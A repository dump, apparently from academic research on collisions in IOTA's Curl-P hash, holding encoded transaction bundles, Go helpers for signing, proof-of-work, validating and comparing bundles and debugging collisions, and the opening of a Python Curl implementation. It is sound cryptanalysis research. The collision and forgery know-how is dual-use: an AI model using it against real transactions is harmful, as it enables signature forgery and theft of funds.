DTPU9SRVFJETLIHEWTBJHXCPQDROADBXB9KVXK9WWQPKLXS9PJE9JGGT9H9XWQURBLDBSEUMZVCVZMSVAPGEFMBZJIYSTYGXCFICHSZPL9CWAKCJZLPMNBRDTFLJRYQZSGERDLWWRLBTDD9HTEIPYYUSYDJKF9NMXUJXPPYJFDCEEQGJGPIBZV9EBBZANJMTMIUSCWOLUBDTZTAVYK9JBQSG9CT9HYYZXNOWFNTOSDDBPPWGXCXHSZFXCBLACZBJTHYWSQVMXWJMKCSAMGRFWGAB9UDHUUSBXOGNAHEGNXUBUWDAFWZFWVDIQBTBALLKSQPEFPWGWZKYDO9QWB9FHQMOAONYMQU9AQOOJHDJCWGXBIOJGFQKGSSOFQNZLBSOPY99999999999999999999IOTFORALL999999999999999999QONOPXD99A99999999F99999999QLQGXIBGDZMQP9OYZELAPXFHECTSGTDLDAABBYCUWMZHSDTQOOVXZUPVPLOSPHEBIQ9VVHCN9GBYKXZVNKKCWDHUSOKZFWNVPXWLVRQKOWRHUSAU9AWGKUCNSCSAJKLCSATNRUSXGBTXJF9DFFGZPPVFMPUGK99999999999999999999999999999999999999999999999999999999999999999999999999999999999999OCWCXTYKWXYECPTHKLODD9SMCWWHFSYPP9SISSTYAHCSWTTHGIU9ZDSURAGHZSMOCD9UFXLONCPPEPROK", 15 | "AZZOAMZUHGXDUOIHRAUMIHKXGGHHEQQMIWC9YJEOBBSGHSPAEOMETB9KJYWY9JAAIBATGBLJKSGOJRESIEGGCOECHJUUDSNAHRM9IIXXGNMTEMKDYW9RVWNDDLMGYWFZGLSXNXXHAKRHKXCKQBHLHTYGICBUS9IBSDPACFSKIXLBMGU9FLFLWNFEVDACHZYBOGNEYHUAWLEOFPUTYFHAKXKI9THRPSJHJSKLMNRSNHOAULXJUVEENI9IVYFWGSPUALPGHPSIIZGAQTMZOLUIT9IGINEPOOWRQDMWY9XIPWCXAVLFXVCZEPBKZVMGQY9REKFNFUYSCIYV9KSJVOYRMGERHSOWJZGLKFHPYUECGMNJHUVTOPHVGPPQBRTQEQHTBQRLUAYXAXUFCSAHZKXZJR9SYNTMTLGDV9MEQACYCRF9BRVUKXTD9GMOYIIMPMNFPLTTNQYOPRBCBKIKZBESRYDTRUS9SWATWDBGQKHOLCRM9PUPBENELJREFFJLUDVZNMPIFTALJQLMFMRTUUKQWGQTZAMOOOSLEJQIZEHEXZWYRYXPVUGZERAHPGNLLAIYRYIOMZT9ZHPGYWWJOUHLTLZYUGEQNYMUXZVKSYCGUZFGOPZONKNFZJNXVICANRULRH9LWD9W9CPQE9NZJHPTCSDEMKOSLMDFYAEFYLTNYJOT9XNQVQYEFCNTOCKYRGTGCFYFTXXFMGXNTUDWIESCQKJYUJF9JSHLI9YEEGZKHE9LPJGGZMMHFSGOMRKGXVUDNNERHWVRMAIFY9YQJHAUCLTPBBHBMJUCCIPYGUDPIVTYJWNRPGKL9HGTUNZDGGTMWUMXEOMQM9FN9DLURPNRPFLYZRDLGHGAQUUGMRFODBFBBGXSAQYEEFASHDDSMQVNGKY9QWBPRAHLVKRDFVZBTTBAFLZUUHY9RCRVAVTELVKSVPBETWDSBYDBZHOQWOKHLGWCNMQINDMGICZIFNOCPXBZQVTUSPZHJFFSH9UOAJ9XNHSZAMEXKVXIAVGLQZABT9UPDXLMYZCVWRVYHMPHYDTCDATCIPLCEKTXHXCAPGLTEYGCMBQQTSBVGOIRVAJKKZVNIOYPWDPDSIQVEHUNFRJMJXGREBBNDRGEXYTGMEQPONAVJF9LUQKCTKUXLM9VUMVRBPPRJWXPDNGTBW9VLMIQVNCVSHLFTD9CLTCYBXNYTXMJEAA9YRVBTMDVKFSEYBFWBFEORSUCDSX9ARMLOTZKMQTLTWNRKXPBBMXRPVVGEHMYJBNVNPNCQDSGZFSCXXQMOUMSIXUQQAWKBDQQVFUCMFGNJLCZELGVXTKVYSFEZZHJGZJLNPHYXHKBW9P9LVFUDRHFPVOI9LWCZPYXMSCDSWNHHNYYSHUMCNQQRXIHKUOETNTLKBVBQOPM9VFHJAEZGMOBAAYKDLKEMPOWJLATXJFORBKMGQWCNIVFXWTMC9CQIQPPBLRHYQZYLFPBMJPGINRRWNUEKVXIDSKZZREEECKUWXBPVASH9HAQBTSYPCSDKCNVSPM9TEOLOBPCTBUUZRKOFIYCFAAYYPERRNOTDLCJBPIWVCPNSDQLZEUHVTAAHJHAXV9RRO9PSWBHJUUJHDCDRLTZKJOCXZNFQLRNNDRMNXNRFIKNEQRJMZZUJCCCEXNRSHQAEIAXLDQJMUFICNOELTHELM9AFA9WVITFB9XDYBIEQRVVOVHXOWLZNIWPGEUZXOHFFCBNLSADMWKIRRJGMFKSVSEALRYRHOYDYRXQPLFPJLUYRBUFSALRJQB9VGJGGNVPNEOGTCSXCFTQCFBIQOUCTRCKSHPJYGXVOGKZFUID9UTNTHHHPUZOUGBTRDIJDJYAFLSGZNQQ9MKDBXSRVBVLYXHUAOIQSVUMXXYCTMBAI9MNAUFGSYISCWUSKUPOVNPSTTO9ZS9LONAKNEIIGOENLXOZXGGQJZKANFSRF9FKWZHHKWQKNILFRAKXPZSVTBRIZAWUSFDQM9LQZUFAOIPPBJUSWCQKSVNMXKWQLGEMCEBGCUKWKPHZLHHEVGVJUSXVJZZALDWQMANSRSQDILGIFTFV9KAQHDPW9WIEBANTXQUSDOHDDVZMDAXJVUA9JQQBHYBWHTUTCFZI9SSYFRSPQTKLFODJHQOZDWFSN9KKSBT9NVPUXLVLE9KP9MOFVFOOQFLZJTHCJXEPWGYBIPXUBUWDAFWZFWVDIQBTBALLKSQPEFPWGWZKYDO9QWB9FHQMOAONYMQU9AQOOJHDJCWGXBIOJGFQKGSSOFQN999999999999999999999999999ERPFQGKONFCGJPBSJPWXDVDUBGZQONOPXD99B99999999F99999999QLQGXIBGDZMQP9OYZELAPXFHECTSGTDLDAABBYCUWMZHSDTQOOVXZUPVPLOSPHEBIQ9VVHCN9GBYKXZVNRJGFBJK9URUINPBTQETZXRAZSZBBKIKIYZKQSMJXBTFVRKAMH9QKAJIYAJFFUR9AK9SISKUDZOAE99999999999999999999999999999999999999999999999999999999999999999999999999999999999999POVWMPHUBRSRAS9DHXTJ9UEMJOWHLPCECP9FQQOFLOWYOMSMFAWELLTU9FZ9LVHALTB9H9SNXUTFYMTCO", 16 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999VCW9RSPGJFINR9QWMSRVRLVQYRNOILXKBXTYUUPFNDMEVXIXPEYRP9CQONFEREKKQVEKVGRWMZMDI9TRZSD999I999999999999999999999LEBOSC9ZPUHTUYBZ9EKYGAPNEVZQONOPXD99C99999999F99999999QLQGXIBGDZMQP9OYZELAPXFHECTSGTDLDAABBYCUWMZHSDTQOOVXZUPVPLOSPHEBIQ9VVHCN9GBYKXZVNHCGWWFYGMQKCQWZWUXOYQHDPUWDMJQUMLEUV9IQYOODBHYWFJCJOAPQKJYIHZIEENXJOYDDYNHCA99999999999999999999999999999999999999999999999999999999999999999999999999999999999999OSWRCQHLAIHHRVEBB9DWBFYQSTTTDYUAPXXFRNEFWYCKHWJRIVH9VIZZJXMKVJEFVEIOWSSQJFVVRMBKE", 17 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999VCW9RSPGJFINR9QWMSRVRLVQYRNOILXKBXTYUUPFNDMEVXIXPEYRP9CQONFEREKKQVEKVGRWMZMDI9TRZ999999999999999999999999999SECFRDYMDHRZBOOSWNLTZGICG9ZQONOPXD99D99999999F99999999QLQGXIBGDZMQP9OYZELAPXFHECTSGTDLDAABBYCUWMZHSDTQOOVXZUPVPLOSPHEBIQ9VVHCN9GBYKXZVNTIRZCWHHQHWDTZAZAXBDAASBCOWPLFJUKZUPESAIEMEBJGUWAESVEUOZWAPEXLHZJDJAUZWDSGDT999999999999999999999999999999999999999999999999999999999999999999999999999999999999999ZCLDQHLAIHHRVEBB9DWBFYQSTTTDYUAPXXFRNEFWYCKHWJRIVH9VIYZJXMKVJEFVEIOWSSQJFVVRMBKE", 18 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999QLBRTQLPHDMKBESFYFJWAGBRNLBKMWTXZLPRUSCYUKMOLVHTMKGUHDYSPXWPYTOVDPHOFYDADANRNSPJUMVJELBB99999999999999999999AXKFTXSHIVSILRNCDVLPIIRIGKJVRNOPXD99E99999999F99999999QLQGXIBGDZMQP9OYZELAPXFHECTSGTDLDAABBYCUWMZHSDTQOOVXZUPVPLOSPHEBIQ9VVHCN9GBYKXZVNHBSNZETOQDJJLVUNYMPZYZAGTK9WIGPNCFBHJHEXR9UUHRFVSWUYKLXHGDRXNDRMWABAAOPBRUNB99999999999999999999999999999999999999999999999999999999999999999999999999999999999999RDLVDGIJFWAPFKZBNHSNCRXOVCSUDEUCVNXSELYDGJWUFAEZCCAIQPFJMQOWSKM9YLGPLOVSFY9FMOCQR", 19 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999QLBRTQLPHDMKBESFYFJWAGBRNLBKMWTXZLPRUSCYUKMOLVHTMKGUHDYSPXWPYTOVDPHOFYDADANRNSPJU999999999999999999999999999IOTFORALL999999999999999999QONOPXD99F99999999F99999999QLQGXIBGDZMQP9OYZELAPXFHECTSGTDLDAABBYCUWMZHSDTQOOVXZUPVPLOSPHEBIQ9VVHCN9GBYKXZVN999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999FAEOTRHLAIHHRVEBB9DWBFYQSTTTDYUAPXXFRNEFWYCKHWJRIVH9VIZZJXMKVJEFVEIOWSSQJFVVRMBKE", 20 | } 21 | -------------------------------------------------------------------------------- /iotutil/util.go: -------------------------------------------------------------------------------- 1 | package iotutil 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "io/ioutil" 7 | "log" 8 | "strings" 9 | "time" 10 | 11 | "github.com/iotaledger/giota" 12 | "github.com/mit-dci/tangled-curl/collide" 13 | ) 14 | 15 | // ReadBundle reads the given file from the filesystem and unmarshals 16 | // it into a Go type. Expects a JSON array of trytes in string format. 17 | func ReadBundle(filename string) ([]string, error) { 18 | dat, err := ioutil.ReadFile(filename) 19 | if err != nil { 20 | log.Printf("Error reading file %v\n", filename) 21 | return nil, err 22 | } 23 | 24 | var bundle []string 25 | 26 | err = json.Unmarshal(dat, &bundle) 27 | if err != nil { 28 | log.Printf("Error unmarshaling %v\n", filename) 29 | return nil, err 30 | } 31 | 32 | return bundle, nil 33 | } 34 | 35 | // Creates a bundle from a file of tryte strings. 36 | func BundleFromTrytesFile(filename string) (giota.Bundle, error) { 37 | bundle, err := ReadBundle(filename) 38 | if err != nil { 39 | return nil, err 40 | } 41 | 42 | var bundleTrytes []giota.Trytes 43 | 44 | for _, tx := range bundle { 45 | bundleTrytes = append(bundleTrytes, giota.Trytes(tx)) 46 | } 47 | 48 | return bundleFromTrytes(bundleTrytes), nil 49 | } 50 | 51 | // Writes a bundle to a file as a JSON array of strings. 52 | func BundleToTrytesFile(b giota.Bundle, filename string) error { 53 | var trytes []string 54 | for i := 0; i < len(b); i++ { 55 | trytes = append(trytes, string(b[i].Trytes())) 56 | } 57 | dat, err := json.Marshal(trytes) 58 | if err != nil { 59 | return err 60 | } 61 | err = ioutil.WriteFile(filename, dat, 0644) 62 | if err != nil { 63 | return err 64 | } 65 | return nil 66 | } 67 | 68 | // Converts a bundle to trits. 69 | func BundleToTrits(bundle giota.Bundle) []int8 { 70 | ret_trits := make([]int8, one_sz*len(bundle)) 71 | for i := 0; i < len(bundle); i++ { 72 | trits := txnToTrits(bundle[i]) 73 | copy(ret_trits[one_sz*i:one_sz*(i+1)], trits) 74 | } 75 | return ret_trits 76 | } 77 | 78 | func TxnFromMB(mb int) int { 79 | return mb / 2 80 | } 81 | 82 | func CmpSlice(a, b []int8, stop bool) bool { 83 | if len(a) != len(b) { 84 | fmt.Println("Unequal sizes") 85 | return false 86 | } 87 | diff := false 88 | for i := 0; i < len(a); i++ { 89 | if a[i] != b[i] { 90 | fmt.Printf("diff: %v, a[%v]=%v, b[%v]=%v\n", i, i, a[i], i, b[i]) 91 | diff = true 92 | if stop { 93 | return false 94 | } 95 | } 96 | } 97 | if diff { 98 | return false 99 | } else { 100 | return true 101 | } 102 | } 103 | 104 | func PrintBundle(bundle giota.Bundle) { 105 | for i := 0; i < len(bundle); i++ { 106 | b := bundle[i] 107 | fmt.Printf(" ") 108 | printtxn(b) 109 | } 110 | } 111 | 112 | // Do proof-of-work so the transaction is accepted into the main 113 | // tangle. This is not a fee, despite the fact that it takes multiple 114 | // minutes on my computer. Sure. 115 | // 116 | // Set up the branch and trunk transactions as well. 117 | func DoPow(bundle giota.Bundle) { 118 | var prev giota.Trytes 119 | var err error 120 | // Point to any old index 0 transaction 121 | var tra giota.Trytes = giota.Trytes(strings.Repeat("9", 81)) 122 | 123 | for i := len(bundle) - 1; i >= 0; i-- { 124 | if i == len(bundle)-1 { 125 | bundle[i].TrunkTransaction = tra 126 | bundle[i].BranchTransaction = tra 127 | } else { 128 | bundle[i].TrunkTransaction = prev 129 | bundle[i].BranchTransaction = tra 130 | } 131 | bundle[i].Nonce, err = giota.PowGo(bundle[i].Trytes(), 15) // Sergey says 15 for mainnet 132 | if err != nil { 133 | panic(err) 134 | } 135 | prev = bundle[i].Hash() 136 | } 137 | } 138 | 139 | func Sign(seed giota.Trytes, bundle giota.Bundle) { 140 | ais := make([]giota.AddressInfo, 1) 141 | ais[0] = giota.AddressInfo{seed, 1, 2} 142 | 143 | bundle.Finalize(nil) 144 | signInputs(ais, bundle) 145 | } 146 | 147 | // The Go code doesn't check as much as the Java code. Reproduce 148 | // some checks and call the Go code. 149 | // 150 | // Does not handle multisig (TODO: but it should!) 151 | func Validate(txns giota.Bundle) bool { 152 | LightValidate(txns) 153 | if err := txns.IsValid(); err != nil { 154 | fmt.Println(err) 155 | return false 156 | } 157 | return true 158 | } 159 | 160 | // The Go code doesn't check as much as the Java code. Reproduce 161 | // some checks here. 162 | // 163 | // Does not check signatures or PoW 164 | func LightValidate(txns giota.Bundle) bool { 165 | var total int64 166 | for i, b := range txns { 167 | total += b.Value 168 | if b.CurrentIndex != int64(i) { 169 | fmt.Printf("CurrentIndex of index %d is not correct", b.CurrentIndex) 170 | return false 171 | } 172 | if b.LastIndex != int64(len(txns)-1) { 173 | fmt.Printf("LastIndex of index %d is not correct", b.CurrentIndex) 174 | return false 175 | } 176 | // check timestamp not too early. Note IOTA uses 1502226000 177 | // after the upgrade; this bundle is pre-upgrade. 178 | if txns[i].Timestamp.Unix() < 1497031200 { 179 | fmt.Printf("Invalid transaction %v timestamp %v\n", i, txns[i].Timestamp) 180 | return false 181 | } 182 | // check value only in 33 trits: 183 | // https://github.com/iotaledger/iri/blob/dev/src/main/java/com/iota/iri/TransactionValidator.java#L77 184 | vtrits := giota.Int2Trits(txns[i].Value, 81) 185 | for t := 34; t < 81; t++ { 186 | if vtrits[t] != 0 { 187 | fmt.Printf("Invalid transaction %v value %v\n", i, txns[i].Value) 188 | return false 189 | } 190 | } 191 | } 192 | if total != 0 { 193 | fmt.Printf("total balance of Bundle is not 0") 194 | return false 195 | } 196 | return true 197 | } 198 | 199 | func CmpBundle(b0 giota.Bundle, b1 giota.Bundle) (map[int]bool, bool) { 200 | if len(b0) != len(b1) { 201 | fmt.Printf("Unequal # txns %v %v\n", len(b0), len(b1)) 202 | return nil, false 203 | } 204 | m := make(map[int]bool) 205 | diff := false 206 | for i := 0; i < len(b0); i++ { 207 | if b0[i].CurrentIndex != b1[i].CurrentIndex { 208 | fmt.Printf("Bundles differ at Current index %v\n", i) 209 | diff = true 210 | m[i] = true 211 | } 212 | if b0[i].LastIndex != b1[i].LastIndex { 213 | fmt.Printf("Bundles differ at Last index %v\n", i) 214 | diff = true 215 | m[i] = true 216 | } 217 | if b0[i].Address != b1[i].Address { 218 | fmt.Printf("Bundles differ at Address %v\n", i) 219 | diff = true 220 | m[i] = true 221 | } 222 | if b0[i].Tag != b1[i].Tag { 223 | fmt.Printf("Bundles differ at Tag %v\n", i) 224 | diff = true 225 | m[i] = true 226 | } 227 | if b0[i].Timestamp != b1[i].Timestamp { 228 | fmt.Printf("Bundles differ at Timestamp index %v b0.Timestamp=%v b1.Timestamp=%v\n", i, b0[i].Timestamp, b1[i].Timestamp) 229 | diff = true 230 | m[i] = true 231 | } 232 | if b0[i].Value != b1[i].Value { 233 | fmt.Printf("Bundles have different values, index %v.\n\tb0.Value=%v\n\tb1.Value=%v\n", i, b0[i].Value, b1[i].Value) 234 | diff = true 235 | m[i] = true 236 | } 237 | } 238 | if diff { 239 | CmpSlice(BundleToTrits(b0), BundleToTrits(b1), false) 240 | } 241 | return m, !diff 242 | } 243 | 244 | // Debug helper function when finding collisions 245 | func DebugBundles(b0, b1 giota.Bundle, msg0, msg1, state3 []int8) { 246 | fmt.Printf("Comparing bundles: ") 247 | fmt.Printf("Value, txn 1. b0.Value=%v b1.Value=%v\n", b0[1].Value, b1[1].Value) 248 | CmpBundle(b0, b1) 249 | bt0 := BundleToTrits(b0) 250 | bt1 := BundleToTrits(b1) 251 | if !CmpSlice(bt0[3*243:4*243], msg0, false) { 252 | fmt.Printf("mb3 is different than msg0 returned\n") 253 | } 254 | if !CmpSlice(bt1[3*243:4*243], msg1, false) { 255 | fmt.Printf("mb3 is different than msg1 returned\n") 256 | } 257 | for i := 0; i < 18; i++ { 258 | fmt.Printf("Absorbing and checking mb %v...\n", i) 259 | s0 := collide.ProduceState(bt0, i) 260 | s1 := collide.ProduceState(bt1, i) 261 | if i == 2 { 262 | if !CmpSlice(s0, state3, true) { 263 | fmt.Printf("State after absorbing mb%v is different than previous state3 in b0\n", i) 264 | } 265 | if !CmpSlice(s1, state3, true) { 266 | fmt.Printf("State after absorbing mb%v is different than previous state3 in b1\n", i) 267 | } 268 | } 269 | } 270 | fmt.Println("Bundle0:") 271 | PrintBundle(b0) 272 | fmt.Println("Bundle1:") 273 | PrintBundle(b1) 274 | } 275 | 276 | func bundleFromTrytes(trytes []giota.Trytes) giota.Bundle { 277 | txns := make([]giota.Transaction, len(trytes)) 278 | 279 | for i := 0; i < len(trytes); i++ { 280 | tx, err := giota.NewTransaction(trytes[i]) 281 | if err != nil { 282 | fmt.Printf("Panic on new txn\n") 283 | panic(err) 284 | } 285 | txns[tx.CurrentIndex] = *tx 286 | } 287 | return giota.Bundle(txns) 288 | } 289 | 290 | var one_sz int = 243 + 81*2 + 27*3 291 | 292 | func txnToTrits(tx giota.Transaction) []int8 { 293 | trits := make([]int8, 243+81+81+27+27+27) 294 | copy(trits[0:243], giota.Trytes(tx.Address).Trits()) 295 | copy(trits[243:243+81], giota.Int2Trits(tx.Value, 81)) 296 | copy(trits[243+81:243+81+81], tx.Tag.Trits()) 297 | copy(trits[243+81+81:243+81+81+27], giota.Int2Trits(tx.Timestamp.Unix(), 27)) 298 | copy(trits[243+81+81+27:243+81+81+27+27], giota.Int2Trits(tx.CurrentIndex, 27)) 299 | copy(trits[243+81*2+27*2:243+81*2+27*3], giota.Int2Trits(tx.LastIndex, 27)) 300 | return trits 301 | } 302 | 303 | func bundleHashDataFromTrits(trits []int8) giota.Bundle { 304 | if len(trits)%486 != 0 { 305 | panic("Bad length") 306 | } 307 | num := len(trits) / 486 308 | b := make([]giota.Transaction, num) 309 | for i := 0; i < num; i++ { 310 | var err error 311 | t := trits[i*486 : (i+1)*486] 312 | b[i].Address, err = giota.Trits(t[0:243]).Trytes().ToAddress() 313 | if err != nil { 314 | panic(err) 315 | } 316 | b[i].Value = giota.Trits(t[243 : 243+81]).Int() 317 | b[i].Tag = giota.Trits(t[243+81 : 243+81+81]).Trytes() 318 | ts := giota.Trits(t[243+81+81 : 243+81+81+27]).Int() 319 | b[i].Timestamp = time.Unix(ts, 0) 320 | b[i].CurrentIndex = giota.Trits(t[243+81+81+27 : 243+81+81+27+27]).Int() 321 | b[i].LastIndex = giota.Trits(t[243+81+81+27+27 : 243+81+81+27+27+27]).Int() 322 | } 323 | return giota.Bundle(b) 324 | } 325 | 326 | func printtxn(b giota.Transaction) { 327 | fmt.Printf("%v %v\t %v\t %v\t %v\t (%v)\n", b.CurrentIndex, b.LastIndex, b.Address, b.Tag, b.Timestamp, b.Value) 328 | } 329 | 330 | // 331 | // IOTA code 332 | // This is a copy of the IOTA go code made available under the MIT License @ https://github.com/iotaledger/giota 333 | // 334 | 335 | /* 336 | MIT License 337 | Copyright (c) 2016 Sascha Hanse 338 | Copyright (c) 2017 Shinya Yagyu 339 | Permission is hereby granted, free of charge, to any person obtaining a copy 340 | of this software and associated documentation files (the "Software"), to deal 341 | in the Software without restriction, including without limitation the rights 342 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 343 | copies of the Software, and to permit persons to whom the Software is 344 | furnished to do so, subject to the following conditions: 345 | The above copyright notice and this permission notice shall be included in all 346 | copies or substantial portions of the Software. 347 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 348 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 349 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 350 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 351 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 352 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 353 | SOFTWARE. 354 | */ 355 | 356 | func signInputs(inputs []giota.AddressInfo, bundle giota.Bundle) error { 357 | // Get the normalized bundle hash 358 | nHash := bundle.Hash().Normalize() 359 | 360 | // SIGNING OF INPUTS 361 | // 362 | // Here we do the actual signing of the inputs 363 | // Iterate over all bundle transactions, find the inputs 364 | // Get the corresponding private key and calculate the signatureFragment 365 | for i, bd := range bundle { 366 | if bd.Value >= 0 { 367 | continue 368 | } 369 | // Get the corresponding keyIndex and security of the address 370 | var ai giota.AddressInfo 371 | for _, in := range inputs { 372 | adr, err := in.Address() 373 | if err != nil { 374 | return err 375 | } 376 | if adr == bd.Address { 377 | ai = in 378 | break 379 | } 380 | } 381 | // Get corresponding private key of address 382 | key := ai.Key() 383 | // Calculate the new signatureFragment with the first bundle fragment 384 | bundle[i].SignatureMessageFragment = giota.Sign(nHash[:27], key[:6561/3]) 385 | 386 | // if user chooses higher than 27-tryte security 387 | // for each security level, add an additional signature 388 | for j := 1; j < ai.Security; j++ { 389 | // Because the signature is > 2187 trytes, we need to 390 | // find the subsequent transaction to add the remainder of the signature 391 | // Same address as well as value = 0 (as we already spent the input) 392 | if bundle[i+j].Address == bd.Address && bundle[i+j].Value == 0 { 393 | // Calculate the new signature 394 | nfrag := giota.Sign(nHash[(j%3)*27:(j%3)*27+27], key[6561*j/3:(j+1)*6561/3]) 395 | // Convert signature to trytes and assign it again to this bundle entry 396 | bundle[i+j].SignatureMessageFragment = nfrag 397 | } 398 | } 399 | } 400 | return nil 401 | } 402 | -------------------------------------------------------------------------------- /template/.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc -------------------------------------------------------------------------------- /template/pycurl.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | __all__ = [ 3 | 'Curl', 4 | 'HASH_LENGTH', 5 | ] 6 | 7 | # This file if a modified version of the Curl-P code made avaliable under the MIT License @ https://github.com/iotaledger/iota.lib.py 8 | # it is slightly out of date 9 | 10 | 11 | HASH_LENGTH = 243 12 | """ 13 | Number of trits in a hash. 14 | 15 | Note: These constants are usually expressed in _trytes_ in PyOTA, but 16 | for compatibility with other libraries, this value must be _trits_. 17 | """ 18 | 19 | STATE_LENGTH = 3 * HASH_LENGTH 20 | """ 21 | Number of trits that a Curl sponge stores internally. 22 | """ 23 | 24 | NUMBER_OF_ROUNDS = 27 25 | """ 26 | Number of iterations to perform per transform operation. 27 | 28 | References: 29 | - :py:meth:`Curl._transform`. 30 | """ 31 | 32 | TRUTH_TABLE = [1, 0, -1, 1, -1, 0, -1, 1, 0] 33 | """ 34 | Lookup table, used to ensure that the result of a Curl operation is 